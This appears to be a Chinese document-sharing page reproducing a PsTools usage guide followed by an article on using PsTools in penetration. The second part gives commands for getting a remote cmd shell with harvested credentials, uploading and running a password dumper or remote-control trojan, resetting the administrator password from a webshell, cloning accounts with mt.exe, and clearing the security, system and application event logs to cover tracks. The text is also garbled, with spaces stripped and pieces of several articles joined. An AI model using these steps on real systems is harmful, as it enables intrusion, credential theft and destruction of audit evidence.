pstools工具使用方法Word下载.docx
- 文档编号:17117533
- 上传时间:2022-11-28
- 格式:DOCX
- 页数:15
- 大小:23.04KB
pstools工具使用方法Word下载.docx
《pstools工具使用方法Word下载.docx》由会员分享,可在线阅读,更多相关《pstools工具使用方法Word下载.docx(15页珍藏版)》请在冰豆网上搜索。
:
显示某一服务的配置。
start<
启动某一服务。
stop<
停止某一服务。
testart<
停止某一服务并重新启动它。
pause<
暂停某一服务。
cont<
恢复暂停的服务。
depend<
显示某一服务依存关系。
find<
在网络种搜寻指定的服务。
比如你想查看在远程机器上的telnet服务的状态可以打:
psservice\\远程机器ipquerytlntsvr
(tlntsvr为telnet服务的服务名)
比如你查看远程机器上的telnet服务的配置可以打:
psservice\\远程机器ipconfigtlntsvr
比如你想启动远程机器上的telnet服务可以打:
psservice\\远程机器ipstarttlntsvr
其他用法以此类推。
(3)pssuspend
pssuspend是一个暂时停止进程的软件
pssuspend[-r][\\远程机器ip[-uusername][-ppassword]]
它有三个参数:
-u:
后面跟用户名-p:
后面是跟密码的,如果建立ipc连接后这两个参数则不需要。
-r:
恢复进程。
比如要暂时停止一个pid号为999,名称为srm.exe的进程可以打:
pssuspend\\远程机器ip999
或
pssuspend\\远程机器ipsrm
如果想要恢复它就可以打pssuspend-r\\远程机器ip999
pssuspend-r\\远程机器ipsrm
(4)psinfo
psinfo是一个搜集机器软硬件信息的工具,它可以获得操作系统信息,硬件信息和软件信息。
psinfo[-h][-s][-d][-c][\\远程机器ip[-uusername[-ppassword]]]
-h:
是显示它安装了哪些补丁包
-s:
是显示它装了哪些软件
-d:
是显示磁盘信息。
比如我只想看远程机器的软硬件信息和只用打:
psinfo\\远程机器ip
假如我还想看看它装了哪些补丁包可以打
psinfo-h\\远程机器ip
假如我还想看看它磁盘信息可以打:
psinfo-d\\远程机器ip
如果我想看它装了哪些软件可以打:
psinfo-s\\远程机器ip
简单吧.
(5)pslist
pslist是一个查看进程的程序。
pslist[-d][-m][-x][-t][-s[n][-rn]
[\\远程机器ip[-uusername][-ppassword]][name|pid]
是使用任务管理器模式实时查看进程,可以按ESC键退出。
-r<
秒数>
是和-s连用的一个参数,它用来指定任务管理器模式是的刷新间隔。
(默认的刷新间隔为1秒)
示各个进程的cpu使用信息。
-m:
显示各个进程的存储器使用信息。
-x:
非常详细显示进程的所有信息。
-t:
以树型方式显示进程。
比如要查看远程机器ip上的进程的cpu使用信息可以打:
pslist-d\\远程机器ip
比如要查看一个pid号为999,名称为srm.exe进程的存储器使用信息可以打:
pslist-m\\远程机器ip999
或pslist-m\\远程机器ipsrm
比如要以任务管理器模式实时查看61.12.23.4上进程情况,并且刷新间隔为3秒可以打:
pslist-s-n3\\远程机器ip
(6)psuptime
psuptime是一个了解远程机器运行了多久的命令。
使用它只需要打:
psuptime\\远程机器ip
(7)psshutdown
psshutdown是一个远程关机命令。
psshutdown[[-s|-r|-k[-tnn][-m"
消息"
][-f]]-a|-l|-o][\\远程机器ip]
-a:
取消以前执行的关机指令。
离关机还有多少秒。
(默认是20秒)
关闭机器。
是要显示的信息。
-f:
是关机是不保存运行的程序。
-r:
表示重启。
-l:
表示锁定电脑。
-o:
表示注销用户。
比如我想让远程机器30秒后关闭并显示(要关机了,请保存文件)则打:
psshutdown-t30-s-m"
要关机了,请保存文件"
\\远程机器ip
如果是要重起的话打:
psshutdown-t30-m"
-r\\远程机器ip
如果要取消刚才的指令可以打:
psshutdown-a\\远程机器ip
其他参数以此类推。
(8)psfile
psfile是一个显示机器上的会话和有什么文件被网络中的用户的打开的命令。
psfile[\\远程机器ip[-uUsername[-pPassword]]][[Id|path][-c]]
它的参数有:
-c:
关闭会话或文件
比如我想看看远程机器上的会话和被远程用户打开的文件可以打:
psfile\\远程机器ip
接着就会显示
[33]C:
\WINNT
User:
ADMINISTRATOR
Locks:
0
Access:
Read
[63]\PIPE\srvsvc
ReadWrite
接着我想关闭id为33,路径为c:
\winnt的这个会话可以打
psfile\\远程机器ip33-c
psfile\\远程机器ipc:
\winnt-c
(9)psloggedon
psloggedon是一个显示目前谁登陆的机器的命令。
它的参数只有:
-l只显示本地登陆用户而不显示其它的网络登陆用户
-x不显示登陆时间
比如说要显示远程机器现在登陆的用户可以打:
psloggedon\\远程机器ip
(10)psgetsid
psgetsid是一个远程获取账号sid信息的工具。
psgetsid[\\远程机器ip[-uusername[-ppassword]]][account]
它的参数有
比如要看远程机器上账号名为abc的sid信息可以打:
psgetsid\\远程机器ipabc
(11)pskill
pskill是一个杀除进程的程序。
pskill[\\远程机器ip[-uusername][-ppassword]]
比如要杀除一个pid号为999,名称为srm.exe的进程可以打:
pskill\\远程机器ip999
pskill\\远程机器ipsrm
(12)psloglist
psloglist
psloglist是一个查看系统事件记录的程序。
psloglist[\\远程机器ip[-uusername[-ppassword]]][-s[-tdelimiter]][-n#|-d#][-c][-x][-r][-amm/dd/yy][-bmm/dd/yy][-ffilter][-leventlogfile]
-c:
显示事件之后清理事件记录
-l<
事件记录文件名>
用于查看事件记录文件
-n:
只显示最近的n条系统事件记录。
-d:
只显示n天以前的系统事件记录
-amm/dd/yy:
显示mm/dd/yy以后的系统事件记录
-bmm/dd/yy:
显示mm/dd/yy以前的系统事件记录
-f<
事件类型>
只显示指定的事件类型的系统事件记录。
显示事件数据代码
从旧到新排列(如不加则默认是从新到旧排列)
-s:
以一个事件为一行的格式显示,中间默认以逗号格开各个信息。
-t<
字符>
这个参数和-s连用,以来改变-s中默认的逗号。
如果我想看远程机器的系统事件记录只用打:
psloglist\\远程机器ip123
比如我想看最近的10条error类型的记录可以打:
psloglist\\远程机器ip-n10-ferror
pstools套件在渗透中的应用详解
其实接触pstool很久了,但是据我观察用pstools套件在渗透中的应用的介绍却比较少。
当然玩bt5的同学可能常常用到,小菜就写一篇关于pstools套件在渗透中的应用进行详解。
AD:
pstool的介绍
PsTools是SysinternalsSuite中一款排名靠前的一个安全管理工具套件。
现在被微软收购。
目前pstools中含有12款各式各样的小工具。
如果将它们灵活的运用,将会在渗透中收到奇效。
所有的pstool第一次运行时都会弹框。
可以用–accepteula这个参数绕过。
还有所有的pstool都支持IP$,一旦IP$共享是连接的就不用输入-u和-p这两个参数。
如何建立IP$连接。
命令如下:
Netuser\\目标ip\密码/user:
用户
Netuser\\192.168.1.3\123456/user:
test
建立后所有的ps工具都将可以不用输入用户和密码了。
其中12款工具简介如下:
◆PsExec-远程执行进程
◆Psfile-显示远程打开的文件
◆PsgetSid-显示计算机或用户的SID
◆PsInfo-列出有关系统的信息
◆PsKill-按名称或进程ID终止进程
◆Pslist-列出有关进程的详细信息
◆PsLoggedOn-查看在本地通过资源共享(包含所有资源)登录的用户
◆PsLoglist-转储事件日志记录
◆PsPasswd-更改帐户密码
◆PsService-查看和控制服务
◆PsShutdown-关闭并重新启动(可选)计算机
◆PsSuspend-暂停进程
这里讲对其中的几个工具进行详解,其他的将只介绍用法。
psexec的应用详解
Pstools中最强大最常利用的工具就属psexec这款工具。
这款工具的本意是替代telnet这种不安全的管理方式。
它最大的特点就属无需安装客服端程序就可以远程操作服务器。
简单来说,就是一旦你知道服务器或者电脑的用户名和密码,你就可以利用它远程执行系统命令。
这样一款工具放到渗透当中真是太淫荡了。
它适用于windowsNT/2x/xp/vista
下面介绍详细参数:
-u远程计算机的用户名
-p远程计算机用户对应密码
-d不等待程序执行完就返回(意思就是,当你执行一个程序无需等到他结束才返回信息)
-h用于目标系统是Vista或更高版本
其他参数就不做介绍,这里主要是讲用法。
远程获取一个cmdshell
比如我再渗透中扫描到目标机(192.168.1.3)的一个用户名(test)和密码(123456)。
那我们的命令就是:
psexec\\目标ip-u用户名-p密码进程名
psexec\\192.168.1.3–utest–p123456cmd.exe
看下图,这是成功连接到一台远程服务器,并获得一个cmdshell,shell权限即位当前用户权限。
这里还将提到的是由于windows策略,将不允许空密码登陆。
可能有些机油对用户权限登陆还有疑虑,什么用户才可以登陆。
我这建立了一个属于guest的一个用户我们来看看它是否能连接。
经过测试,比guest权限大的用户组都可以远程登陆。
IIS_WPG用户组的无法远程连接,但是你不用担心,一般属于IIS_WPG用户组的用户一般也属于guest用户组。
有关用户组相关的介绍请围观法客周年庆之提权专题
下载地址:
获取cmdshell的介绍就到这里。
一旦获得一个cmdshell后面的渗透将会比较轻松。
经过测试,用最新版的pstools,windows2008win7都能连接成功,win8由于没有win8系统,就未测试,应该是能行的,毕竟这是微软的管理工具。
Win7连接示意图:
程序上传并执行
首先现在在本地配置一个将上传到服务器上运行的程序到H盘根目录。
这里用抓取系统密码的神器getpass来演示。
H:
\getpass.exe
程序上传并执行命令如下:
Psexec\\192.169.1.3–utest–p12345–cH:
\getpass.exe–d
最后一个-d的参数可有可无~~~
只是怕程序远程运行后会卡住而无法返回信息。
测试如图:
当然你也可运行一个远控木马这些都可以~~~
Psexec的介绍就到这里了。
pspasswd的应用详解
Pspasswd是一个用来更改用户密码的工具,支持远程密码修改和本地密码修改。
这款工具的特点就是不依靠net,exe程序进行密码修改。
本地修改命令如下:
pspasswdadministratoryueyan
演示图如下:
远程命令如下:
pspasswd\\192.168.1.3–uadministrator–p123456guestyueyan
命令的意思就是,用administrator这个管理员账户登录后修改用户guest的密码为yueyan
相对来说本地修改密码的功能更强大一些。
我这将介绍个实例:
我的一个好基友Lynn得到一个jsp马,并且是ntauthority\system权限。
但是无法添加用户,且无法用net修改管理员密码。
抓取hash密码大于14位,LMhash无效,本地又为搭建彩虹表,网上破解无果。
Hash传递登陆被拦截。
但是机油lynn却一直想用administrator这个用户登陆进去,当然方法还有很多,比如:
mimikatz.exe抓取明文密码等,这里我将介绍pspasswd的妙用。
我们想用administrator这个账户登陆进去。
很简单,直接上传一个pspasswd上服务器。
执行下面的命令:
首先执行D:
\web|pspasswd.exe–accepteula(第一次执行,表示许可执行的意思)
D:
\web|pspasswd.exeadministratoryueyan
就会成功修改administrator的密码。
这里能修改密码的原因是pspasswd不是调用net.exe进行密码修改。
上述介绍常常配合mt.exe进行用户克隆。
这里简单介绍:
(关于mt.exe的详细介绍请访问:
【工具】mt.exe的详细介绍)
首先mt.exe查看用户sid,比较后看是否有克隆账户
Mt-chkuser
比较后,没有克隆账户,我们选择guest这个账户进行克隆:
Mt–cloneadministratorguest
然后配合pspasswd修改密码:
Pspasswdguestyueyan
就这样成功克隆一个账户,并能成功登陆访问。
Pspasswd的功能就介绍到这里。
pskill+psinfo+pslist的应用详解
首先是介绍pskill.
如果你想远程结束远程主机上的一个进程,你可以使用pskill。
我们就介绍一下常用的命令:
比如我们想远程关闭远程主机正在运行的cmd这个进程,可以用pskill进行杀掉。
pskill\\192.168.1.3–utest–p123456cmd.exe
命令很简单~~~~
我再介绍psinfo的相关应用。
基本参数是:
-h显示已经安装的补丁信息
-s显示已安装的软件信息
-d显示磁盘信息
如果我们想看远程主机的基本信息,命令如下:
psinfo–h–s–d\\192.168.1.3–uadministrator–p123456
接下来就是pslist。
主要特点是,显示本地或者远程计算机的进程运行情况。
主要参数:
-m显示内存信息
-x显示进程,内存和线程
-t显示进程树
-sn在任务管理器模式先运行,n指定秒,以esc结束。
-rn任务管理器模式刷新速率,n指秒
例如我们想看远程计算机的进程运行情况,命令如下:
Pslist–x\\192.168.1.3–utest–p123456
效果图如下:
其他ps工具介绍:
PSLOGGEDON:
查看指定计算机的本地及远程登录的用户和登录时间。
必须建立在IP$共享下才可以使用这个工具。
Psloggedon–l\\192.168.1.3
PSLOGLIST:
事件日志转储及管理。
这个对于渗透测试是非常有用的,它最大的特点就是远程清理系统日志。
常用:
psloglist\\72.56.17.74application-c>
nul
psloglist\\72.56.17.74system-c>
psloglist\\72.56.17.74security-c>
分别是清理应用程序日志,系统运行日志,安全日志。
PSSERVICE:
管理服务。
psservicequerymessenger
查询messenger服务的相关信息。
最重要的项目是:
服务名称、显示名称、服务描述、服务类型、服务状态。
psserviceconfigmessenger
查询服务的配置信息。
服务名称、服务描述、服务类型、服务启动类型、服务错误控制级别、可执行文件的路径等等。
PSSHUTDOWN:
关机工具。
常用命令:
Psshutdown–s–t60
60秒后关机。
下面几个不常用,就介绍下:
Psfile-显示远程打开的文件
Psfile\\192.168.1.3
PsgetSid-显示计算机或用户的SID
Psgetsid\\192.168.1.3
PsSuspend-暂停进程
Pssuspend\\192.168.1.3–utest–p123456cmd,exe
第二个工具是Psinfo。
正如它的名字所示,该命令可以查看本地或者远程计算机的一些系统信息、软件安装信息和其他信息,不加任何参数的Psinfo就只显示本地计算机的系统信息。
用法如下:
psinfo[-h][-s][-d][-c][\\RemoteComputer[-uUsername[-pPassword]]]
我们用实例来介绍该命令的使用,在命令行下输入:
\tools\Pstools>
psinfofile:
//192.168.0.8/-s-uadministrator-p123
其中“-s”表示显示远程计算机上面已安装的软件信息,“-u”和“-p”含义同PsExec。
这条命令显示192.168.0.8计算机上面的系统信息和软件信息。
系统信息包括系统安装时间、内存大小、CPU频率和品牌、操作系统类型等等;
软件信息则会列出远程计算机上显示在“添加/删除”里的软件名称。
限于文章的篇幅,这里就不把上述信息列出,请大家在自己的计算机上面实验。
第三个工具是Psshutdown。
从名称上可以看出这是一个可以进行远程关机和重启的程序。
使用语法如下:
message"
][-f]]-a|-l|-o][\\computer]
这条命令最简单的使用方法为:
psshutdown-rfile:
//192.168.0.8
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- pstools 工具 使用方法